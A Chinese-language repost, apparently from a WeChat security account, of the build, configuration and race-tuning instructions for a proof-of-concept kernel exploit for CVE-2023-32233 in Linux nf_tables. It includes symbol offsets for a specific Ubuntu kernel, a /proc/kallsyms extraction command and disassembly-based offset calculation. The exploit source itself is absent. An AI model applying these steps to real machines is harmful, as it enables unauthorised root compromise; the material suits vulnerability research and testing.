安装构建依赖项
运行以下命令来安装构建依赖项:
sudo
apt install gcc libmnl-dev libnftnl-dev
构建二进制文件
运行以下命令来构建 PoC 二进制文件:
gcc
-Wall
-o
exploit
exploit
.c
-lmnl
-lnftnl
更新
内置配置文件包含特定于以二进制形式分发的 Linux 内核的参数,如 Ubuntu 23.04 (Lunar Lobster) 中的以下软件包:
- “linux-image-6.2.0-20-generic”,版本“6.2.0-20.20”,以及
- “linux-modules-6.2.0-20-generic”,版本“6.2.0-20.20”。
内置配置文件如下所示:
1 race_set_slab
# {0,1}
1572 race_set_elem_count
# k
4000 initial_sleep
# ms
100 race_lead_sleep
# ms
600 race_lag_sleep
# ms
100 reuse_sleep
# ms
39d240 free_percpu
# hex
2a8b900 modprobe_path
# hex
23700 nft_counter_destroy
# hex
347a0 nft_counter_ops
# hex
a nft_counter_destroy_call_offset
# hex
ffffffff nft_counter_destroy_call_mask
# hex
e8e58948 nft_counter_destroy_call_check
# hex
内核符号
使用其他 Linux 内核进行测试时覆盖内置配置文件的可选步骤:
modprobe
nf_tables
egrep
' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(s|$)'
/proc/kallsyms > profile
机器码
为了找到内核库,我们检查nf_tables.ko内核内存中的图像。具体来说,我们分析了 nft_counter_destroy() 子例程的机器代码。这意味着我们的方法对编译器以及编译选项敏感。但是,所有常见情况都可以通过覆盖内置配置文件来处理。
例如,nft_counter_destroy()子例程的机器代码可能如下所示:
000000000001e310
<nft_counter_destroy>:
1e310
:
f3 0f 1e fa endbr64
1e314
:
48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318
:
e9 00 00 00 00 jmp <free_percpu>
1e31d
:
0f 1f 00 nop DWORD PTR [rax]
在上面的情况下,我们可以通过将以下三行附加到配置文件“profile”来指定一些参数。
首先,我们重新定义位移之前的双字的偏移量free_percpu :
5 nft_counter_destroy_call_offset
# hex
其中该值5是使用表达式 计算的(1e31d - 1e310) - 8。
作为健全性检查,我们然后使用以下掩码验证上述偏移处的双字:
ffffffff
nft_counter_destroy_call_mask
# hex
期望以下值:
e9087e8b
nft_counter_destroy_call_check
# hex
比赛调校
利用该漏洞需要赢得与 Linux 内核后台工作线程的竞争。内置配置文件经过调整,可最大限度地提高在各种英特尔微处理器(包括移动 Sandy Bridge 和桌面 Comet Lake)上赢得比赛的机会。然而,一些微处理器需要额外的调整。例如,我们观察到在某些设置中 Alder Lake 下切换任务的延迟增加,可能需要将以下行附加到“profile”:
400
race_lead_sleep
在使用闲置裸机系统的测试中,我们测得成功利用该漏洞的概率为 80% 或更高。
测试建议
一旦 PoC 在易受攻击的系统上启动,可能会使该系统处于不稳定状态,内核内存已损坏。我们强烈建议在专用系统上测试 PoC,以避免潜在的数据损坏。
原文始发于微信公众号(Ots安全):CVE-2023-32233:Linux内核中的安全漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论